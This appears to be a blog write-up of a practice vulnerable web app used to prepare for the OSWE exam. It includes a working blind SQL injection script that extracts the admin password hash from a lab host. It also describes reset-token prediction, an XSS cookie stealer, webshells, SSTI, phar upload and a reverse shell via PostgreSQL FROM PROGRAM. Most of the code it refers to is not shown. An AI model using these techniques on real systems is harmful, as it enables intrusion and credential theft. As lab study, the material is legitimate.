While preparing for OSWE, a colleague of mine recommended this web app which combines a lot of diferrent vulnerabilities. Indeed it was a very good practise as a source code review. Creating an all-in-one script was also fun.
Essential imports for the code that follows:
import concurrent.futures
import threading
from base64 import urlsafe_b64decode
from http import cookies
from http.server import BaseHTTPRequestHandler, HTTPServer
import requests
import multiprocessing
import subprocess
Blind SQL injection
By reviewing the source code, we can see that the forgotusername.php page is the only area which is vulnerable to SQL injection beacuse the username value is inserted into the query unsanitized and because the app is not using a parameterized query:
MAX_WORKERS = 20
HASH_LENGTH = 64
def exfiltrate_hash():
def boolean_sqli(arguments):
idx, ascii_val = arguments
character = chr(ascii_val)
proxies1 = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
# Note user1 is a valid user. In this case I couldn't get it to work with OR. Just use a valid username and 'AND'.
payload = "admin' and substring(password," + str(idx) + ",1)='" + character + "'; -- "
data1 = {
"username": payload
}
headers1 = {
"Content-Type": "application/x-www-form-urlencoded",
}
r = requests.post("http://172.17.0.2/forgotusername.php", data=data1, headers=headers1, proxies=proxies1)
truth = False
if "User exists!" in r.text:
truth = True
return ascii_val, truth
result = ""
# Go through each character position
for idx in range(HASH_LENGTH):
# Use MAX_WORKERS threads to test possible ASCII values in parallel
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
# Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])
# Go through each response and determine which ASCII value is correct
for ascii_val, truth in responses:
if truth:
result += chr(ascii_val)
print(result)
break
return result
hash = exfiltrate_hash()
print("Hash: " + hash)
After running this code we can get a nice hash that we can try to crack:
Login bypass
For the login bypass we can easily determine that we must do something with the reset password functionality. The vulnerability lies in the fact that the application uses predictable parameters for the srand php function, so the output can be deterministic:
Microtime is the current Unix timestamp with microseconds but as you can see it is multiplied by 1000 and it is rounded. So theoretically if we could run this function on our own attacker's system at the exact time it is run on the target system we could get them same token (basically we have a margin of error due to the round here). But there is no need for that, we can simply get a rough value and then generate all the possible tokens that are near this value.
Here is the same function in a php file called generate_token.php which takes the seed as an argument:
Then we use a for loop to get possible seeds near the propable value and we use those seeds to generate tokens. Finally we try to reset the password using each token until we hit the correct one.
After exploring the application source code we can see in the index page that if the logged in user is admin, a new area is rendered with a list of all the users. This area includes the data of the users (username, password...) including a field named "description". More importantly those values are added in the html without being sanitized. (E.g. the posts ARE sanitized using 'htmlentities', but the user data in admin session are not)
So all we have to do is to update our compromised user's profile description field to include a JS cookie stealer and wait for an admin to visit the index page. The code below also sets up an automated server to capture the cookie and use it in a new session.
The important thing to note here is that instead of a parameter we can simply use a new object and in our case call the Log class to write to files. I chose to write a new php shell so we can use it to execute commands like this:
The next way to obtain RCE is through template injection. Specifically on the update_motd.php file we can post some data with the 'message' parameter that will be saved on a template file:
This file will then be rendered on the index.php page:
So we can simply use a php SSTI payload and execute php code. The output will be rendered on the index page, so by visiting this page we can get the output of our command:
Another way to obtain RCE is by uploading an image. The upload_image.php file checks and blocks several php executable file types but it does not block .phar files. But we have one more problem. The web app needs to be able to call getimagesize() on the uploaded file without getting errors. This can be bypassed by (ab)using the GIF format which offers a more abstract structure. Finally we have to make sure that we use one of the allowed mime types: (Basically the hardest part here was to figure out how to upload the file with all the required parameters using the requests library)
As we knew from the beginning, the forgotusername.php file was vulnerable to SQL injection, so by using the 'FROM PROGRAM' statement it is possible to achieve (here: blind) RCE. Note that netcat is not present on the server so we have to use bash. I used a base64 encoded payload for a reverse shell.
Also I think it is possible to use the COPY statement in order to write files to the server, which could be used to write a php shell for example, but I leave this up to you to try it out.
So we can use this to obtain the SHA256 hash of a user. By the way the page is also vulnerable to username enumeration so we can get valid usernames, "admin" being one of them. The template for the code below is taken from this helpful repo:
In order to craft the payload and understand the technique I read this article: